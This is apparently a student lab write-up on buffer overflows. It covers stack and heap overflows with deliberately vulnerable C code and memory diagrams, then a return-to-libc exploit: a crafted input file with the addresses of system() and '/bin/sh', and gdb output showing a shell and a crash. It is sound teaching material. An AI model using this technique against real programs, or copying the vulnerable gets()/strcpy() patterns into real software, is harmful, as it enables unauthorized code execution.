

1. Understanding Buffer Overflow

1) Stack buffer overflow (15 points)

- Introduction

I wrote a simple code in C presenting the buffer overflow vulnerability.

[Source code]

```
#include <stdio.h>
#include <string.h>
//https://arstechnica.com/security/2015/08/how-security-flaws-work-the-buffer-overflow/

void say_hello(char* param)
{
    char name[12];
    char hostName[12] = "Youjung Kim";
    printf("What is your name?");
    gets(name);
    printf("Hello, %s!\n",name);
    return;
}

int main()
{
    say_hello("Parameter");
    return 0;
}
```

- Stack Layout by steps

I have drawn three diagrams to show you how parameters, return address, saved registers, and local variable(s) are allocated and stack layout would be changed in conditions. **For this diagram, low memory address goes from the top to the bottom, and the stack grows from bottom to the top.**

A. Before data is entered into local variable "name".

Address	Machine code	Value	Description
0x0036F6A8			
0x0036F6AC	59 6f 75 6a	Youj	Variable hostName (12 bytes)
0x0036F6B0	75 6e 67 20	ung	
0x0036F6B4	4b 68 6d 00	Kim.	
0x0036F6B8	cc cc cc cc		
0x0036F6BC	cc cc cc cc		
0x0036F6C0	cc cc cc cc		Variable name (12 bytes)
0x0036F6C4	cc cc cc cc		
0x0036F6C8	cc cc cc cc		
0x0036F6CC	cc cc cc cc		
0x0036F6D0	3c a1 49 65	<jle	Register EPI pushed (4 bytes)
0x0036F6D4	78 fd 34 00	x4.	Register EBP pushed (4 bytes)
0x0036F6D8	f8 14 df 00	ø.ß.	Return address (4 bytes)
0x0036F6DC	70 58 df 00	pXß.	Memory address of parameter (4 bytes)

In this diagram, you can check the **order** of parameter("Parameter"), return address, registers (EBP, EPI), and local variables ("name", "hostName").

Also, notice **the sizes** of each elements.

B. When 11 bytes of string "EliotBignel" is entered into the local variable "name".

Address	Machine code	Value	Description
0x0036F6A8			
0x0036F6AC	59 6f 75 6a	Youj	Variable hostName (12 bytes)
0x0036F6B0	75 6e 67 20	ung	
0x0036F6B4	4b 68 6d 00	Kim.	
0x0036F6B8	cc cc cc cc		
0x0036F6BC	cc cc cc cc		
0x0036F6C0	45 6c 69 6f	Elio	Variable name (12 bytes)
0x0036F6C4	74 42 69 67	tBig	
0x0036F6C8	6e 65 6c 00	nel.	
0x0036F6CC	cc cc cc cc		
0x0036F6D0	3c a1 49 65	<jle	Register EPI pushed (4 bytes)
0x0036F6D4	78 fd 34 00	xý4.	Register EBP pushed (4 bytes)
0x0036F6D8	f8 14 df 00	ø.ß.	Return address (4 bytes)
0x0036F6DC	70 58 df 00	pXß.	Memory address of parameter (4 bytes)

When data entered within the variable range, it works fine.

Notice that even though I assigned 12 bytes on the local variable "name", it only allows 11 byte because there is a character for "enter" event.

C. When 27 bytes of string "EliotBignell123412341234123" is entered into the local variable "name".

Address	Machine code	Value	Description
0x00333231			
...			
0x0036F6A8			
0x0036F6AC	59 6f 75 6a	Youj	Variable hostName , takes 12 bytes
0x0036F6B0	75 6e 67 20	ung	
0x0036F6B4	4b 68 6d 00	Kim.	
0x0036F6B8	cc cc cc cc		
0x0036F6BC	cc cc cc cc		
0x0036F6C0	45 6c 69 6f	Elio	Variable name , takes 12 bytes
0x0036F6C4	74 42 69 67	tBig	
0x0036F6C8	6e 65 6c 6c	nell	
0x0036F6CC	31 32 33 34	1234	Registers and return address have been replaced by over sized entry.
0x0036F6D0	31 32 33 34	1234	
0x0036F6D4	31 32 33 34	1234	
0x0036F6D8	31 32 33 00	1234	
0x0036F6DC	70 58 df 00	123	The program will return to 0x00333231.

**The exceeded data is starting filling the stack from stack pointer (0x0036F6C0).

When the exceeded data, which is bigger than the size of distance between local variable "name" and the return address, entered, it takes up the space for registers and return address and changes the destination address from 0x00DF14F8 to 0x00333231. Specifically, when the input is larger than 24 bytes, it can influence the first byte of the return address, and once the input is larger than 28 bytes, it can change the whole return address and it will lead to an unexpected function.

2) Heap buffer overflow (15 points)

- Introduction

I wrote a simple code in C presenting the heap buffer overflow vulnerability.

[Source code]

```
/******  
*From: https://exploit-exercises.com/protostar/heap1/  
******/  
  
#include <stdlib.h>  
#include <unistd.h>  
#include <string.h>  
#include <stdio.h>  
#include <sys/types.h>  
  
struct internet {  
    int priority;  
    char *name;  
};  
  
void winner()  
{  
    printf("and we have a winner @ %d\n", time(NULL));  
}  
  
int main(int argc, char **argv)  
{  
    struct internet *i1, *i2, *i3;  
    i1 = malloc(sizeof(struct internet));  
    i1->priority = 1;  
    i1->name = malloc(8);  
  
    i2 = malloc(sizeof(struct internet));  
    i2->priority = 2;  
    i2->name = malloc(8);  
  
    strcpy(i1->name, argv[1]);  
    strcpy(i2->name, argv[2]);  
    printf("and that's a wrap folks!\n");  
}
```

A. When malloc allocates the requested memory with each chunk metadata.

- Please check out the below memory chunks, their sizes and each metadata.
- As defined, there are five chunks in this memory including the top chunk.

Address	Machine code				Value	Description
0x0804b000	00	00	00	00		Metadata for memory chunk i1(8 bytes)
0x0804b004	00	00	00	11		
0x0804b008	00	00	00	01	1	Memory chunk i1(8 bytes) = Size of (struct internet) = integer (4 bytes) + Char* (4 bytes)
0x0804b00c	08	04	b0	18		
0x0804b010	00	00	00	00		Metadata for memory chunk i1->name(8 bytes)
0x0804b014	00	00	00	11		
0x0804b018	00	00	00	00		Memory chunk i1->name (8 bytes)
0x0804b01c	00	00	00	00		
0x0804b020	00	00	00	00		Metadata for memory chunk i2(8 bytes)
0x0804b024	00	00	00	11		
0x0804b028	00	00	00	02	2	Memory chunk i2 (8 bytes)= Size of (struct internet) = integer (4 bytes) + Char* (4 bytes)
0x0804b02c	08	04	b0	38		
0x0804b030	00	00	00	00		Metadata for memory chunk i2->name(8 bytes)
0x0804b034	00	00	00	01		
0x0804b038	00	00	00	00		Memory chunk i2->name (8 bytes)
0x0804b03c	00	00	00	00		
0x0804b040	00	00	00	00		
0x0804b044	00	02	0f	c1		Metadata of top chunk

B. When the program heap1 is executed with two arguments "aaaabbbbccccdddeeeefff" and "1111222233334444".

- The first argument has copied from i1->name(0x0804b018).
- Because the input is bigger than the size of the predefined data(8 bytes), it overwrites the metadata of i2(8 bytes).
- The input takes up the location for i2->priority as well as the location for i2->name, which contains the next address for i2->name. In consequence, i2->name loses its link to its memory chunk.

Address	Machine code				Value	Description
0x0804b000	00	00	00	00		Metadata for memory chunk i1(8 bytes)
0x0804b004	00	00	00	11		
0x0804b008	00	00	00	01	1	Memory chunk i1*(8 bytes) = Size of (struct internet) = integer (4 bytes) + Char* (4 bytes)
0x0804b00c	08	04	b0	18		
0x0804b010	00	00	00	00		Metadata for memory chunk i1->name(8 bytes)
0x0804b014	00	00	00	11		
0x0804b018	61	61	61	61	aaaa	From the address of i1->name (0x0804b018), the data is filled out.
0x0804b01c	62	62	62	62	bbbb	
0x0804b020	63	63	63	63	cccc	i2 metadata, overwritten by the first argument
0x0804b024	64	64	64	64	01-> dddd	
0x0804b028	65	65	65	65	2 ->eeee	i2->priority, overwritten by the first argument
0x0804b02c	66	66	66	66	ffff	i2->name, overwritten by the first argument
0x0804b030	00	00	00	00		
0x0804b034	00	00	00	01		Metadata for memory chunk i2->name (8 bytes)
0x0804b038	00	00	00	00		Memory chunk i2->name (8 bytes)
0x0804b03c	00	00	00	00		
0x0804b040	00	00	00	00		
0x0804b044	00	02	0f	c1		Metadata of top chunk

C. When the crafted input entered, it can overwrite the return pointer on the stack to redirect code execution or many vulnerable cases can occur.

Address	Machine code				Value	Description
0x0804b000	00	00	00	00		Metadata for memory chunk i1(8 bytes)
0x0804b004	00	00	00	11		
0x0804b008	00	00	00	01	1	Memory chunk i1*(8 bytes) = Size of (struct internet) = integer (4 bytes) + Char* (4 bytes)
0x0804b00c	08	04	b0	18		
0x0804b010	00	00	00	00		Metadata for memory chunk i1->name(8 bytes)
0x0804b014	00	00	00	11		
0x0804b018	61	61	61	61	aaaa	From the address of i1->name (0x0804b018), the data is filled out.
0x0804b01c	62	62	62	62	bbbb	
0x0804b020	63	63	63	63	cccc	i2 metadata, overwritten by the first argument
0x0804b024	64	64	64	64	01-> dddd	
0x0804b028	65	65	65	65	2 ->eeee	i2->priority, overwritten by the first argument
0x0804b02c	b7	e4	91	e0	ffff	Crafted input entered
0x0804b030	00	00	00	00		
...						Metadata for memory chunk i2->name (8 bytes)
0xb7e56190	08	04	87	7c		
0xb7e56194	00	00	00	00		Memory chunk i2->name (8 bytes)

2. Exploiting Buffer Overflow (60 points)

1) My data File- data.txt

```

data.txt (~/Desktop) - gedit
Open Save Undo
data.txt x
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
DUMM
b7f76a24
b7e56190
ffffffff
b7e56190
ffffffff
b7f76a24
eeeeeeee

```

2) Execution screen

Once I figured out the address for system(), and bin.sh, I looked for how to map those address on data.txt. After a lot of trial, I found the right spots and the below are the results.

A. Right after I run the sort.c with my crafted input. You can check out the gdb prompt showed up.

\$

B. After I terminated the prompt, you can see SIGSEGV, Segmentation fault come out.

```
Sorted list in ascending order:
aaaaaaaa
aaaaaaaa
aaaaaaaa
aaaaaaaa
aaaaaaaa
aaaaaaaa
aaaaaaaa
aaaaaaaa
aaaaaaaa
aaaaaaaa
aaaaaaaa
aaaaaaaa
aaaaaaaa
aaaaaaaa
aaaaaaaa
aaaaaaaa
aaaaaaaa
aaaaaaaa
b7e56190
b7e56190
b7f76a24
b7f76a24
eeeeeeee
ffffffff
ffffffff
d
$ exit
^ exit

Program received signal SIGSEGV, Segmentation fault.

-----[regs]-----
EAX: 0x000000FA  EBX:          ECX: 0xBFFFEF0C  EDX:          o d i t S z A P C
ESI:          EDI:          EBP:          ESP: 0xBFFFF038  EIP: 0xB7F76A25
CS:          DS:          ES:          FS:          GS:          SS:
-----[code]-----
=> 0xb7f76a25: bound ebp,QWORD PTR [ecx+0x6e]
0xb7f76a28: das
0xb7f76a29: jae 0xb7f76a93
0xb7f76a2b: add BYTE PTR [ebp+0x78],ah
0xb7f76a2e: imul esi,DWORD PTR [eax+eiz*1+0x30],0x6e616300
0xb7f76a36: outs dx,DWORD PTR ds:[esi]
0xb7f76a37: outs dx,BYTE PTR ds:[esi]
0xb7f76a38: imul esp,DWORD PTR [ebx+0x61],0x657a696c

0xb7f76a25 in ?? () from /lib/i386-linux-gnu/libc.so.6
gdb$
```